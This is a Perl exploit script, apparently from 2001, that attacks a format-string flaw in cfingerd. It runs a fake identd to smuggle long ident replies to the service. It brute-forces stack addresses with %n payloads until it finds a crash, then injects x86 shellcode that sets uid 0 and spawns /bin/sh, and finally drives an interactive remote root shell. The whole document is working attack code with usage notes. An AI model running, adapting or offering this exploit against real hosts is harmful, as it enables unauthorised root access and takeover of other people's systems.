#!/usr/bin/perl
# Cfingerd exploit to the recent syslog format bug.
# Discovered and written by Lez <abullah@freemail.hu> in 2001.
# you have to use it as root to bind port 113.

# tested on Debian 2.1, 2.2

use IO::Socket;
#use strict;

my $network_timeout=5;
my $sleep_between_fingers=2;  # should be enough
my $debug_sleep=0;

my $fingerport=79;
my $target=$ARGV[0];
my $debug=1;
my $test_vulnerability=1;

# Debian 2.2, cfingerd 1.4.1-1
#my $control=33;  # if don't set it, exploit will find.
#my $align=0;     # the same
#$retaddr=0xbffffab0;
# my $retaddr=0xbffff880;  # the same
#$retaddr=0xbffff840;


my $retvalue=0xbffff980;  # If it finds everything correctly, and says Shell lunched, but
                          # you can't find your uid 0, decrease $retvalue by 30.
my $bytes_written=32;

#$control=17;
#$align=0;
#$retaddr=0xbffffb80;   #(or 0xbffffb68 0xbffff9d0 0xbffff9cc 0xbffff9c8)
#$retvalue=0xbffffc20;
#$bytes_written=32;



# GOOD:
my $startsig11=0xbffffbfc;
my $endsig11=  0xbffff000;

my $controlstart=45;
my $controlend=1;

my $fclient;

my $shellcode ="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80".
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";
                                                        #59 bytes

if (!$target) {print "Usage: $0 target\n";exit}

# Starting fake identd
my $identd = IO::Socket::INET->new(
                Listen => 5,
                LocalPort => 113,
                Proto     => 'tcp',
                Reuse     => 3) or die "Cannot listen to port 113: $!\n";

if ($test_vulnerability) {&testvuln}

if (!$control) { &get_control_and_align }
else {print "Alignment: $align\nControl: $control\n" }

if (!$retaddr) {
    &find_and_exploit_sigsegv_values
}
else {
    printf "Using provided RET address: 0x%x\n",$retaddr;
    &exploit ($retaddr, $retvalue);
}


exit;




sub sendthisone { #sends a string to cfingerd, and returns 1 if the remote machine got SIGSEGV or SIGILL.
                  # a bit tricky
    my $text_to_send=$_[0];

    $text_to_send =~ s/^\ /\ \ /;

    my ($last_119, $gotback);

    $fclient = IO::Socket::INET->new("$target:$fingerport") or die "Cannot connect to $target: $!\n";
    print $fclient "e\n"; # e is the username we query.

    my $ident_client = $identd-> accept;

    my $tmp=<$ident_client>;


    my $first_64= substr($text_to_send, 0, 64);
    if (length($text_to_send) > 64) {
        $last_119= substr($text_to_send,64);
    }

    sleep $debug_sleep;

    print $ident_client "$last_119: : :$first_64\n"; # we use an other bug
                                                     # in rfc query function
                                                     # to send longer lines.
    close $ident_client;

    eval {
        local $SIG{ALRM} = sub { die "alarm\n"};
        alarm ($network_timeout);
        $gotback= <$fclient>;
        alarm 0;
    };
    if ($@) {
        die unless $@ eq "alarm\n";
        &shell;
    }

    if ($gotback =~ /SIGSEGV/i) {
        if ($debug == 2) {print "Sending $first_64$last_119: SIGSEGV\n";}
        elsif ($debug == 1) {system ("echo -n \"*\"");}
        sleep ($sleep_between_fingers);
        return 1;
    } elsif ($gotback =~ /SIGILL/i) {
        if ($debug == 2) {print "Sending $first_64$last_119: SIGILL\n";}
        elsif ($debug == 1) {system ("echo -n +");}
        print "Got signal \"Illegal instruction\".\nThe ret address is not correct\n";
        sleep ($sleep_between_fingers);
        return 1;
    } else {
        if ($debug == 2) {print "Sending $first_64$last_119\n";}
        elsif ($debug == 1) {system ("echo -n .");}
        sleep ($sleep_between_fingers);
        return 0;
    }
}


sub get_control_and_align {
    for ($control=$controlstart; $control >= $controlend; $control--) {
        for ($align=3; $align>=0; $align--) {
            my $s1= "A"x$align . "\x79\xff\xff\xbe" . "%" . $control . "\$n";
            my $s2= "A"x$align . "\x79\xff\xff\xbf" . "%" . $control . "\$n";

            if (sendthisone($s1) > sendthisone ($s2)) {
                print "\nControl: $control\nAlign: $align\n";
                return;
            }
        }
    }
    die "Could not find control and alignment values\n";
}

sub find_and_exploit_sigsegv_values {
    my ($sendbuf, @back, $addy, $retaddr, $save);

    print "Searching for eip addresses...\n";

    for ($addy=$startsig11; $addy >= $endsig11; $addy -=4) {
        $sendbuf = "a"x$align . pack "cccc",$addy,$addy>>8,$addy>>16,$addy>>24;
        $sendbuf .= "%" . $control . "\$n";

        if ($addy%0x100) {
            if (sendthisone($sendbuf)) {

                &exploit ($addy, $retvalue);    # I'm so lazy
                &exploit ($addy, $retvalue-60);
                &exploit ($addy, $retvalue+60);
                &exploit ($addy, $retvalue-120);
                &exploit ($addy, $retvalue+120);
                &exploit ($addy, $retvalue-180);
                &exploit ($addy, $retvalue+180);
                &exploit ($addy, $retvalue-240);
                &exploit ($addy, $retvalue+240);
                &exploit ($addy, $retvalue-300);
                &exploit ($addy, $retvalue+300);
                &exploit ($addy, $retvalue-360);
                &exploit ($addy, $retvalue+360);
                &exploit ($addy, $retvalue-420);
                &exploit ($addy, $retvalue+420);

            }
        }
    }
}

sub exploit {

    my $addy=$_[0];
    my $value=$_[1];

    my $sendbuf;

    printf "\nExploiting 0x%x, ret:0x%x.\n",$addy,$value;

    $sendbuf = "Z"x$align;
    $sendbuf .= &add_four_addresses($addy);
    $sendbuf .= &add_format_strings($value);

    $sendbuf .= "\x90"x (182-length($sendbuf)-length($shellcode));
    $sendbuf .= $shellcode;

    &sendthisone ($sendbuf);
}

sub add_four_addresses {
    my $addy=$_[0];
    my ($back, $i);

    for ($i=0; $i<=3; $i++) {
        $back .= pack "cccc",
                    ($addy+$i),
                    ($addy+$i)>>8,
                    ($addy+$i)>>16,
                    ($addy+$i)>>24;
    }
    return $back;
}

sub add_format_strings {
    my ($back, $i, @a, $xvalue, $nvalue, $back);
    my $ret=$_[0];

    $a[0]=$ret%0x100-$bytes_written;

    for ($i=1; $i<=3; $i++) {
        $a[$i]= ($ret >> (8*$i) )%0x100 - ($ret >> (8*($i-1)) )%0x100;
    }

    for ($i=0; $i<=3; $i++) {
        $xvalue= &positive($a[$i]);
        $nvalue= $control+$i;

        if ($xvalue <=8) {
            $back .= "A"x$xvalue          .       "%".$nvalue."\$n";
        } else {
            $back .= "%0".$xvalue."x"     .       "%".$nvalue."\$n";
        }
    }
    return $back;
}

sub positive {
    my $number=$_[0];
    while ($number < 0) {
        $number += 0x100;
    }
    return $number;
}

sub shell {
    my ($cucc, $msg);

    print "Shell launched\n";
    print $fclient "id\n";
    print &my_line(1);

    while (1) {
        $cucc=<STDIN>;
        print $fclient $cucc;

        while ($msg=&my_line(1)) {
            print $msg;
        }
    }
}

sub my_line {
    my $msg;
    eval {
        local $SIG{ALRM} = sub { die "\n"};
        alarm ($_[0]);
        if ($msg=<$fclient>) {
            alarm (0);
            return $msg;
        }
    };
}

sub testvuln {
    if ($debug) {print "Testing if fingerd is vulnerable...   "}
    if (&sendthisone ("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n")) {
        print "Yes.\n";
        return;
    } else {
        print "No.\n";
        exit;
    }
}